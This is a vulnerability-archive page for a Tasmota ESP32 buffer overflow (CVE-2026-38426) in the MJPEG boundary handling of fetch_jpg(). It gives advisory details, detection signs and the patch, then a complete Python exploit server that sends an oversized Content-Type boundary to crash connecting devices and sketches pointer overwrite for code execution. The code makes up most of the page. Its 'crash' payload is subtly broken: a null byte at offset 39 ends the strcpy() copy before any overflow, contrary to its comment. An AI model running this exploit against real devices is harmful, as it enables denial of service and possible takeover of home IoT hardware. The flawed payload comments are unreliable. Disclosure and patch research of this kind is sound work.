PoC Archive PoC Archive
Critical CVE-2026-38426 patched

Tasmota fetch_jpg() strcpy() Buffer Overflow in boundary[40] (CVE-2026-38426)

by Saidakbarxon Maxsudxonov (sermikr0) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-38426
Category
network
Affected product
Arendst Tasmota (ESP32 firmware)
Affected versions
<= 15.3.0.3
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherSaidakbarxon Maxsudxonov (sermikr0)
CVE / AdvisoryCVE-2026-38426
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagstasmota, esp32, iot, buffer-overflow, strcpy, rce, mjpeg, scripter
RelatedCVE-2026-38422, CVE-2026-38427

Affected Target

FieldValue
Software / SystemArendst Tasmota (ESP32 firmware)
Versions Affected<= 15.3.0.3
Language / PlatformPython (PoC server) targeting C++/Arduino ESP32 firmware
Authentication RequiredNo (device must be scripted to connect to attacker’s MJPEG server)
Network Access RequiredYes

Summary

The fetch_jpg() function’s initial-connection handling (case 0) in Tasmota’s scripter driver extracts the MJPEG multipart boundary string from the HTTP Content-Type response header and copies it into a fixed 40-byte boundary[40] field of the JPG_TASK struct using strcpy(), with no length validation. Because boundary[40] sits directly before other struct fields — including embedded WiFiClient and HTTPClient objects whose vtable pointers live further in the struct — an attacker-controlled MJPEG server can send a boundary string longer than 39 characters to overflow into and corrupt adjacent memory, potentially achieving remote code execution when a corrupted vtable pointer is later dereferenced.


Vulnerability Details

Root Cause

fetch_jpg() case 0 does strcpy(glob_script_mem.jpg_task.boundary, cp + 1) on the Content-Type boundary substring with no bounds check against the destination’s 40-byte capacity (CWE-120/CWE-787-class stack/struct overflow).

Attack Vector

  1. Configure a Tasmota device (via a script using fetchjp()) to connect to an attacker-controlled MJPEG HTTP server, or MITM an existing connection.
  2. Respond to the initial request with Content-Type: multipart/x-mixed-replace; boundary=<50+ character string>.
  3. Tasmota’s strcpy() copies the oversized boundary into the fixed 40-byte buffer, overflowing into adjacent JPG_TASK struct fields including the WiFiClient/HTTPClient objects.
  4. Subsequent use of the corrupted WiFiClient/HTTPClient vtable pointers (via read()/write()/connect()) can redirect execution.

Impact

Remote code execution or guaranteed crash on ESP32-based Tasmota devices with scripter support enabled and no authentication required.


Environment / Lab Setup

Target:   ESP32 device running Tasmota <= 15.3.0.3 with a script using fetchjp()
Attacker: python3

Proof of Concept

PoC Script

See CVE-2026-38426_poc.py in this folder.

1
2
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

The script serves a fake MJPEG HTTP endpoint that returns an oversized Content-Type boundary string, triggering the strcpy() overflow on a connecting Tasmota device (crash mode maximizes overflow length; info mode demonstrates targeted corruption).


Detection & Indicators of Compromise

Exception (28): epc1=... ...
Fatal exception ... rebooting

Signs of compromise:

  • Device crash/reboot immediately after a fetchjp()-initiated MJPEG connection
  • HTTP responses from an MJPEG source with abnormally long boundary= values in Content-Type

Remediation

ActionDetail
Primary fixUpdate to Tasmota v15.3.0.4 or later, which bounds-checks the boundary string before copying
Interim mitigationRestrict fetchjp() scripts to trusted MJPEG servers only; disable scripter support if unused

References


Notes

Mirrored from https://github.com/sermikr0/CVE-2026-38426 on 2026-07-05.

CVE-2026-38426_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#!/usr/bin/env python3
"""
PoC: CVE-2026-38426
Target: Tasmota <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() case 0

Vulnerability:
  char boundary[40] — fixed 40-byte buffer in jpg_task struct.
  Server's Content-Type header value after '=' is copied via strcpy()
  with NO length validation:
  
    String boundary = http.header("Content-Type");
    char *cp = strchr(boundary.c_str(), '=');
    if (cp) {
        strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // VULNERABLE
    }

Attack:
  Attacker controls MJPEG server Tasmota connects to.
  Sends Content-Type header with boundary > 39 chars.
  strcpy overflows boundary[40] → corrupts adjacent heap memory.

Memory layout (ESP32 heap, approximate):
  [boundary[40]] [draw] [scale] [xp] [yp] [WiFiClient] [HTTPClient]
  Overflow corrupts: draw, scale, xp, yp, WiFiClient vtable ptr → RCE

Tasmota script to trigger:
  >D
  >B
  fetchjp(ATTACKER_IP:8888/stream,0,0,1)

Usage:
  python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode crash
  python3 CVE-2026-38426_poc.py --ip 0.0.0.0 --port 8888 --mode info

Author: Saidakbarxon Maxsudxonov
CVE: CVE-2026-38426
"""

import socket
import argparse
import struct
import time
from datetime import datetime

BANNER = """
╔══════════════════════════════════════════════════════╗
║       CVE-2026-38426 PoC — Tasmota fetch_jpg()      ║
║       strcpy() Buffer Overflow → boundary[40]        ║
║       Affected: Tasmota <= 15.3.0.3 (ESP32)         ║
╚══════════════════════════════════════════════════════╝
"""

def log(msg, level="*"):
    ts = datetime.now().strftime("%H:%M:%S")
    print(f"[{ts}] [{level}] {msg}")

def build_overflow_boundary(mode):
    """
    boundary[40] is on the heap.
    Adjacent memory after boundary[40]:
      +0x28: bool draw      (1 byte)
      +0x29: uint8_t scale  (1 byte)  
      +0x2A: uint16_t xp    (2 bytes)
      +0x2C: uint16_t yp    (2 bytes)
      +0x2E: WiFiClient     (vtable ptr at offset 0)
    
    Overflow 44 bytes: fills boundary + overwrites draw,scale,xp,yp
    Overflow 48+ bytes: reaches WiFiClient vtable pointer → RCE
    """
    if mode == "info":
        # 44 bytes: minimal crash — overwrites adjacent fields
        overflow = b"A" * 44
        log("Mode: INFO — 44 byte overflow (adjacent field corruption)", "+")
    elif mode == "crash":
        # 64 bytes: guaranteed crash — corrupts WiFiClient object
        overflow = b"B" * 39 + b"\x00" + b"C" * 24
        log("Mode: CRASH — 64 byte overflow (WiFiClient corruption)", "!")
    else:
        # Custom: try to overwrite function pointer for RCE demo
        # ESP32 Xtensa uses little-endian 32-bit pointers
        # This would need real target analysis for actual RCE
        overflow = b"A" * 44 + struct.pack("<I", 0x41414141)
        log("Mode: RCE DEMO — overwrite ptr with 0x41414141", "!")
    
    return overflow

def make_malicious_response(boundary_payload):
    """Build HTTP response with malicious Content-Type boundary"""
    boundary_str = boundary_payload.decode('latin-1', errors='replace')
    
    response = (
        f"HTTP/1.1 200 OK\r\n"
        f"Content-Type: multipart/x-mixed-replace; boundary={boundary_str}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    )
    return response.encode('latin-1', errors='replace')

def handle_client(conn, addr, mode):
    log(f"Tasmota device connected: {addr[0]}:{addr[1]}", "+")
    
    try:
        # Receive HTTP GET request
        request = conn.recv(1024).decode('utf-8', errors='ignore')
        log(f"Request received: {request.splitlines()[0] if request else 'empty'}")
        
        # Build overflow payload
        payload = build_overflow_boundary(mode)
        log(f"Overflow payload: {len(payload)} bytes")
        log(f"Payload (hex): {payload[:64].hex()}")
        
        # Send malicious response
        response = make_malicious_response(payload)
        conn.send(response)
        log(f"Malicious Content-Type sent ({len(payload)} byte boundary)", "!")
        log("strcpy() will overflow boundary[40] on target device", "!")
        log("Expected: ESP32 crash/reboot (Guru Meditation Error)", "!")
        
        # Keep connection alive briefly
        time.sleep(2)
        
    except Exception as e:
        log(f"Error: {e}", "-")
    finally:
        conn.close()
        log(f"Connection closed: {addr[0]}")

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-38426 PoC Server")
    parser.add_argument("--ip", default="0.0.0.0", help="Listen IP")
    parser.add_argument("--port", type=int, default=8888, help="Listen port")
    parser.add_argument("--mode", choices=["info","crash","rce"], 
                        default="crash", help="Overflow mode")
    args = parser.parse_args()
    
    log(f"CVE-2026-38426 PoC Server starting", "+")
    log(f"Listening on {args.ip}:{args.port}", "+")
    log(f"Mode: {args.mode}", "+")
    log("─" * 54)
    log("Tasmota script to trigger vulnerability:")
    log(f'  >D')
    log(f'  >B')
    log(f'  fetchjp(YOUR_IP:{args.port}/stream,0,0,1)')
    log("─" * 54)
    
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((args.ip, args.port))
    server.listen(5)
    
    log("Waiting for Tasmota device to connect...", "*")
    
    try:
        while True:
            conn, addr = server.accept()
            handle_client(conn, addr, args.mode)
    except KeyboardInterrupt:
        log("Server stopped")
    finally:
        server.close()

if __name__ == "__main__":
    main()